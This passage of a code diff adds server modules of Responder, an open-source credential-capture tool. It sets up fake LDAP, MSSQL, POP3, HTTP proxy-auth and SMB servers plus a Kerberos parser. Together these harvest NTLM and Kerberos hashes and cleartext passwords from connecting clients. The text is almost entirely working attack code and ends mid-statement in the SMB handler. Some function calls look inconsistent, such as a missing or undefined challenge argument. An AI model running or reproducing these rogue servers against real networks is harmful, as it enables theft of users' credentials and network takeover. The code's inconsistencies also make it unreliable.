+	MsgType     = Data[21:22]
+	EncType     = Data[43:44]
+	MessageType = Data[32:33]
+
+	if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
+		if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[50:51])[0]
+			if HashLen == 54:
+				Hash       = Data[53:105]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[153:154])[0]
+				Name       = Data[154:154+NameLen]
+				DomainLen  = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
+				Domain     = Data[154+NameLen+4:154+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+
+		if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[45:46])[0]
+			if HashLen == 53:
+				Hash       = Data[48:99]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[147:148])[0]
+				Name       = Data[148:148+NameLen]
+				DomainLen  = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
+				Domain     = Data[148+NameLen+4:148+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+			elif HashLen == 54:
+				Hash       = Data[53:105]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[148:149])[0]
+				Name       = Data[149:149+NameLen]
+				DomainLen  = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+				Domain     = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+		else:
+			Hash       = Data[48:100]
+			SwitchHash = Hash[16:]+Hash[0:16]
+			NameLen    = struct.unpack('<b',Data[148:149])[0]
+			Name       = Data[149:149+NameLen]
+			DomainLen  = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+			Domain     = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+			BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+			return BuildHash
+	return False
+
+def ParseMSKerbv5UDP(Data):
+	MsgType = Data[17:18]
+	EncType = Data[39:40]
+
+	if MsgType == "\x0a" and EncType == "\x17":
+		if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
+			HashLen = struct.unpack('<b',Data[41:42])[0]
+			if HashLen == 54:
+				Hash       = Data[44:96]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[144:145])[0]
+				Name       = Data[145:145+NameLen]
+				DomainLen  = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
+				Domain     = Data[145+NameLen+4:145+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+			elif HashLen == 53:
+				Hash       = Data[44:95]
+				SwitchHash = Hash[16:]+Hash[0:16]
+				NameLen    = struct.unpack('<b',Data[143:144])[0]
+				Name       = Data[144:144+NameLen]
+				DomainLen  = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
+				Domain     = Data[144+NameLen+4:144+NameLen+4+DomainLen]
+				BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+				return BuildHash
+		else:
+			Hash       = Data[49:101]
+			SwitchHash = Hash[16:]+Hash[0:16]
+			NameLen    = struct.unpack('<b',Data[149:150])[0]
+			Name       = Data[150:150+NameLen]
+			DomainLen  = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
+			Domain     = Data[150+NameLen+4:150+NameLen+4+DomainLen]
+			BuildHash  = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+			return BuildHash
+	return False
+
+class KerbTCP(BaseRequestHandler):
+	def handle(self):
+		data = self.request.recv(1024)
+		KerbHash = ParseMSKerbv5TCP(data)
+
+		if KerbHash:
+			n, krb, v, name, domain, d, h = KerbHash.split('$')
+
+			SaveToDb({
+				'module': 'KERB',
+				'type': 'MSKerbv5',
+				'client': self.client_address[0],
+				'user': domain+'\\'+name,
+				'hash': h,
+				'fullhash': KerbHash,
+			})
+
+class KerbUDP(BaseRequestHandler):
+
+	def handle(self):
+		data, soc = self.request
+		KerbHash = ParseMSKerbv5UDP(data)
+
+		if KerbHash:
+			(n, krb, v, name, domain, d, h) = KerbHash.split('$')
+
+			SaveToDb({
+				'module': 'KERB',
+				'type': 'MSKerbv5',
+				'client': self.client_address[0],
+				'user': domain+'\\'+name,
+				'hash': h,
+				'fullhash': KerbHash,
+			})

servers/LDAP.py

@@ -0,0 +1,120 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from SocketServer import BaseRequestHandler
+from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
+from utils import *
+import struct
+
+def ParseSearch(data):
+	if re.search(r'(objectClass)', data):
+		return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
+	elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
+		return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
+	elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
+		return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
+
+def ParseLDAPHash(data, client):
+	SSPIStart = data[42:]
+	LMhashLen = struct.unpack('<H',data[54:56])[0]
+
+	if LMhashLen > 10:
+		LMhashOffset = struct.unpack('<H',data[58:60])[0]
+		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+		
+		NthashLen    = struct.unpack('<H',data[64:66])[0]
+		NthashOffset = struct.unpack('<H',data[66:68])[0]
+		NtHash       = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		
+		DomainLen    = struct.unpack('<H',data[72:74])[0]
+		DomainOffset = struct.unpack('<H',data[74:76])[0]
+		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		
+		UserLen      = struct.unpack('<H',data[80:82])[0]
+		UserOffset   = struct.unpack('<H',data[82:84])[0]
+		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+		WriteHash    = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
+
+		SaveToDb({
+			'module': 'LDAP',
+			'type': 'NTLMv1',
+			'client': client,
+			'user': Domain+'\\'+User,
+			'hash': NtHash,
+			'fullhash': WriteHash,
+		})
+	
+	if LMhashLen < 2 and settings.Config.Verbose:
+		print text("[LDAP] Ignoring anonymous NTLM authentication")
+
+def ParseNTLM(data,client, Challenge):
+	if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
+		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
+		NTLMChall.calculate()
+		return str(NTLMChall)
+	elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
+		ParseLDAPHash(data,client)
+
+def ParseLDAPPacket(data, client, Challenge):
+	if data[1:2] == '\x84':
+		PacketLen        = struct.unpack('>i',data[2:6])[0]
+		MessageSequence  = struct.unpack('<b',data[8:9])[0]
+		Operation        = data[9:10]
+		sasl             = data[20:21]
+		OperationHeadLen = struct.unpack('>i',data[11:15])[0]
+		LDAPVersion      = struct.unpack('<b',data[17:18])[0]
+		
+		if Operation == "\x60":
+			UserDomainLen  = struct.unpack('<b',data[19:20])[0]
+			UserDomain     = data[20:20+UserDomainLen]
+			AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
+
+			if AuthHeaderType == "\x80":
+				PassLen   = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
+				Password  = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
+				SaveToDb({
+					'module': 'LDAP',
+					'type': 'Cleartext',
+					'client': client,
+					'user': UserDomain,
+					'cleartext': Password,
+					'fullhash': UserDomain+':'+Password,
+				})
+			
+			if sasl == "\xA3":
+				Buffer = ParseNTLM(data,client, Challenge)
+				return Buffer
+		
+		elif Operation == "\x63":
+			Buffer = ParseSearch(data)
+			return Buffer
+		elif settings.Config.Verbose:
+			print text('[LDAP] Operation not supported')
+
+class LDAP(BaseRequestHandler):
+	def handle(self):
+		try:
+			while True:
+				self.request.settimeout(0.5)
+				data = self.request.recv(8092)
+                                Challenge = RandomChallenge()
+				Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
+
+				if Buffer:
+					self.request.send(Buffer)
+		except socket.timeout:
+			pass

servers/MSSQL.py

@@ -0,0 +1,151 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from SocketServer import BaseRequestHandler
+from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
+from utils import *
+import struct
+
+class TDS_Login_Packet:
+	def __init__(self, data):
+		
+		ClientNameOff     = struct.unpack('<h', data[44:46])[0]
+		ClientNameLen     = struct.unpack('<h', data[46:48])[0]
+		UserNameOff       = struct.unpack('<h', data[48:50])[0]
+		UserNameLen       = struct.unpack('<h', data[50:52])[0]
+		PasswordOff       = struct.unpack('<h', data[52:54])[0]
+		PasswordLen       = struct.unpack('<h', data[54:56])[0]
+		AppNameOff        = struct.unpack('<h', data[56:58])[0]
+		AppNameLen        = struct.unpack('<h', data[58:60])[0]
+		ServerNameOff     = struct.unpack('<h', data[60:62])[0]
+		ServerNameLen     = struct.unpack('<h', data[62:64])[0]
+		Unknown1Off       = struct.unpack('<h', data[64:66])[0]
+		Unknown1Len       = struct.unpack('<h', data[66:68])[0]
+		LibraryNameOff    = struct.unpack('<h', data[68:70])[0]
+		LibraryNameLen    = struct.unpack('<h', data[70:72])[0]
+		LocaleOff         = struct.unpack('<h', data[72:74])[0]
+		LocaleLen         = struct.unpack('<h', data[74:76])[0]
+		DatabaseNameOff   = struct.unpack('<h', data[76:78])[0]
+		DatabaseNameLen   = struct.unpack('<h', data[78:80])[0]
+
+		self.ClientName   = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
+		self.UserName     = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
+		self.Password     = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
+		self.AppName      = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
+		self.ServerName   = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
+		self.Unknown1     = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
+		self.LibraryName  = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
+		self.Locale       = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
+		self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
+
+
+def ParseSQLHash(data, client, Challenge):
+	SSPIStart     = data[8:]
+
+	LMhashLen     = struct.unpack('<H',data[20:22])[0]
+	LMhashOffset  = struct.unpack('<H',data[24:26])[0]
+	LMHash        = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	
+	NthashLen     = struct.unpack('<H',data[30:32])[0]
+	NthashOffset  = struct.unpack('<H',data[32:34])[0]
+	NTHash        = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+	
+	DomainLen     = struct.unpack('<H',data[36:38])[0]
+	DomainOffset  = struct.unpack('<H',data[40:42])[0]
+	Domain        = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+	
+	UserLen       = struct.unpack('<H',data[44:46])[0]
+	UserOffset    = struct.unpack('<H',data[48:50])[0]
+	User          = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+	if NthashLen == 24:
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
+
+		SaveToDb({
+			'module': 'MSSQL', 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'user': Domain+'\\'+User, 
+			'hash': LMHash+":"+NTHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 60:
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
+		
+		SaveToDb({
+			'module': 'MSSQL', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+User, 
+			'hash': NTHash[:32]+":"+NTHash[32:], 
+			'fullhash': WriteHash,
+		})
+
+
+def ParseSqlClearTxtPwd(Pwd):
+	Pwd = map(ord,Pwd.replace('\xa5',''))
+	Pw = ''
+	for x in Pwd:
+		Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
+	return Pw
+
+
+def ParseClearTextSQLPass(data, client):
+	TDS = TDS_Login_Packet(data)
+	SaveToDb({
+		'module': 'MSSQL', 
+		'type': 'Cleartext', 
+		'client': client,
+		'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
+		'user': TDS.UserName, 
+		'cleartext': ParseSqlClearTxtPwd(TDS.Password), 
+		'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
+	})
+
+# MSSQL Server class
+class MSSQL(BaseRequestHandler):
+	def handle(self):
+		if settings.Config.Verbose:
+			print text("[MSSQL] Received connection from %s" % self.client_address[0])
+	
+		try:
+			while True:
+				data = self.request.recv(1024)
+				self.request.settimeout(0.1)
+                                Challenge = RandomChallenge()
+
+				if data[0] == "\x12":  # Pre-Login Message
+					Buffer = str(MSSQLPreLoginAnswer())
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				if data[0] == "\x10":  # NegoSSP
+					if re.search("NTLMSSP",data):
+						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
+						Packet.calculate()
+						Buffer = str(Packet)
+						self.request.send(Buffer)
+						data = self.request.recv(1024)
+					else:
+						ParseClearTextSQLPass(data,self.client_address[0])
+
+				if data[0] == "\x11":  # NegoSSP Auth
+					ParseSQLHash(data,self.client_address[0])
+
+		except:
+			self.request.close()
+                        pass

servers/POP3.py

@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import POPOKPacket
+
+# POP3 Server class
+class POP3(BaseRequestHandler):
+	def SendPacketAndRead(self):
+		Packet = POPOKPacket()
+		self.request.send(str(Packet))
+		return self.request.recv(1024)
+
+	def handle(self):
+		try:
+			data = self.SendPacketAndRead()
+
+			if data[0:4] == "USER":
+				User = data[5:].replace("\r\n","")
+				data = self.SendPacketAndRead()
+			if data[0:4] == "PASS":
+				Pass = data[5:].replace("\r\n","")
+
+				SaveToDb({
+					'module': 'POP3', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': User, 
+					'cleartext': Pass, 
+					'fullhash': User+":"+Pass,
+				})
+			self.SendPacketAndRead()
+		except Exception:
+			pass

servers/Proxy_Auth.py

@@ -0,0 +1,111 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import SocketServer
+from HTTP import ParseHTTPHash
+from packets import *
+from utils import *
+
+def GrabUserAgent(data):
+	UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
+        if UserAgent:
+           print text("[Proxy-Auth] %s" % color("User-Agent        : "+UserAgent[0], 2))
+
+def GrabCookie(data):
+	Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
+
+	if Cookie:
+		Cookie = Cookie.group(0).replace('Cookie: ', '')
+		if len(Cookie) > 1:
+                        if settings.Config.Verbose:
+			        print text("[Proxy-Auth] %s" % color("Cookie           : "+Cookie, 2))
+
+		return Cookie
+	return False
+
+def GrabHost(data):
+	Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
+
+	if Host:
+		Host = Host.group(0).replace('Host: ', '')
+                if settings.Config.Verbose:
+		        print text("[Proxy-Auth] %s" % color("Host             : "+Host, 2))
+
+		return Host
+	return False
+
+def PacketSequence(data, client):
+	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)	
+	if NTLM_Auth:
+		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+		if Packet_NTLM == "\x01":
+			if settings.Config.Verbose:
+				print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
+
+			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer.calculate()
+			Buffer_Ans = WPAD_NTLM_Challenge_Ans()
+			Buffer_Ans.calculate(str(Buffer))
+			return str(Buffer_Ans)
+		if Packet_NTLM == "\x03":
+			NTLM_Auth = b64decode(''.join(NTLM_Auth))
+       	                ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
+                        GrabUserAgent(data)
+                        GrabCookie(data)
+                        GrabHost(data)
+   	                return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
+		else:
+               		return False
+
+	elif Basic_Auth:
+                GrabUserAgent(data)
+                GrabCookie(data)
+                GrabHost(data)
+		ClearText_Auth = b64decode(''.join(Basic_Auth))
+		SaveToDb({
+			'module': 'Proxy-Auth', 
+			'type': 'Basic', 
+			'client': client, 
+			'user': ClearText_Auth.split(':')[0], 
+			'cleartext': ClearText_Auth.split(':')[1], 
+			})
+
+		return False
+	else:
+		if settings.Config.Basic:
+			Response = WPAD_Basic_407_Ans()
+			if settings.Config.Verbose:
+				print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
+
+		else:
+			Response = WPAD_Auth_407_Ans()
+
+		return str(Response)
+
+class Proxy_Auth(SocketServer.BaseRequestHandler):
+
+
+    def handle(self):
+		try:
+                    for x in range(2):
+                        data = self.request.recv(4096)
+                        self.request.send(PacketSequence(data, self.client_address[0]))
+
+		except:
+                   	pass
+
+

servers/SMB.py

@@ -0,0 +1,434 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from random import randrange
+from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
+from SocketServer import BaseRequestHandler
+from utils import *
+import struct
+import re
+
+
+def Is_Anonymous(data):  # Detect if SMB auth was Anonymous
+	SecBlobLen = struct.unpack('<H',data[51:53])[0]
+
+	if SecBlobLen < 260:
+		LMhashLen = struct.unpack('<H',data[89:91])[0]
+		return LMhashLen in [0, 1]
+	elif SecBlobLen > 260:
+		LMhashLen = struct.unpack('<H',data[93:95])[0]
+		return LMhashLen in [0, 1]
+
+def Is_LMNT_Anonymous(data):
+	LMhashLen = struct.unpack('<H',data[51:53])[0]
+	return LMhashLen in [0, 1]
+
+#Function used to know which dialect number to return for NT LM 0.12
+def Parse_Nego_Dialect(data):
+	Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
+	for i in range(0, 16):
+		if Dialect[i] == 'NT LM 0.12':
+			return chr(i) + '\x00'
+
+
+def midcalc(data):  #Set MID SMB Header field.
+    return data[34:36]
+
+
+
+def uidcalc(data):  #Set UID SMB Header field.
+    return data[32:34]
+
+
+def pidcalc(data):  #Set PID SMB Header field.
+    pack=data[30:32]
+    return pack
+
+
+def tidcalc(data):  #Set TID SMB Header field.
+    pack=data[28:30]
+    return pack
+
+def ParseShare(data):
+	packet = data[:]
+	a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
+	if a:
+		print text("[SMB] Requested Share     : %s" % a.group(0).decode('UTF-16LE'))
+
+def GrabMessageID(data):
+    Messageid = data[28:36]
+    return Messageid
+
+def GrabCreditRequested(data):
+    CreditsRequested = data[18:20]
+    if CreditsRequested == "\x00\x00":
+       CreditsRequested =  "\x01\x00"
+    else:
+       CreditsRequested = data[18:20]
+    return CreditsRequested
+
+def GrabCreditCharged(data):
+    CreditCharged = data[10:12]
+    return CreditCharged
+
+def GrabSessionID(data):
+    SessionID = data[44:52]
+    return SessionID
+
+def ParseSMBHash(data,client, Challenge):  #Parse SMB NTLMSSP v1/v2
+        SSPIStart  = data.find('NTLMSSP')
+        SSPIString = data[SSPIStart:]
+	LMhashLen    = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
+	LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
+	LMHash       = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	NthashLen    = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
+	NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
+
+	if NthashLen == 24:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv1-SSP', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 60:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv2-SSP', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
+
+def ParseSMB2NTLMv2Hash(data,client, Challenge):  #Parse SMB NTLMv2
+    SSPIStart = data[113:]
+    data = data[113:]
+    LMhashLen = struct.unpack('<H',data[12:14])[0]
+    LMhashOffset = struct.unpack('<H',data[16:18])[0]
+    LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+    NthashLen = struct.unpack('<H',data[22:24])[0]
+    NthashOffset = struct.unpack('<H',data[24:26])[0]
+    SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+    DomainLen = struct.unpack('<H',data[30:32])[0]
+    DomainOffset = struct.unpack('<H',data[32:34])[0]
+    Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+    UserLen      = struct.unpack('<H',data[38:40])[0]
+    UserOffset   = struct.unpack('<H',data[40:42])[0]
+    Username     = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+    WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
+    SaveToDb({
+                'module': 'SMBv2', 
+		'type': 'NTLMv2-SSP', 
+		'client': client, 
+		'user': Domain+'\\'+Username, 
+		'hash': SMBHash, 
+		'fullhash': WriteHash,
+             })
+
+def ParseLMNTHash(data, client, Challenge):  # Parse SMB NTLMv1/v2
+	LMhashLen = struct.unpack('<H',data[51:53])[0]
+	NthashLen = struct.unpack('<H',data[53:55])[0]
+	Bcc = struct.unpack('<H',data[63:65])[0]
+	Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
+
+	if NthashLen > 25:
+		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
+		LmHash = FullHash[:32].upper()
+		NtHash = FullHash[32:].upper()
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
+	
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': NtHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen == 24:
+		NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
+		LmHash = data[65:65+LMhashLen].encode('hex').upper()
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': NtHash, 
+			'fullhash': WriteHash,
+		})
+
+def IsNT4ClearTxt(data, client):
+	HeadLen = 36
+
+	if data[14:16] == "\x03\x80":
+		SmbData = data[HeadLen+14:]
+		WordCount = data[HeadLen]
+		ChainedCmdOffset = data[HeadLen+1]
+
+		if ChainedCmdOffset == "\x75":
+			PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
+
+			if PassLen > 2:
+				Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
+				User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
+				print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
+				WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
+
+
+class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
+	def handle(self):
+		try:
+			self.ntry = 0
+			while True:
+				data = self.request.recv(1024)
+				self.request.settimeout(1)
+                                Challenge = RandomChallenge()
+
+				if not data:
+					break
+
+				if data[0] == "\x81":  #session request 139
+					Buffer = "\x82\x00\x00\x00"
+					try:
+						self.request.send(Buffer)
+						data = self.request.recv(1024)
+					except:
+						pass
+
+                                ##Negotiate proto answer SMBv2.
+				if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
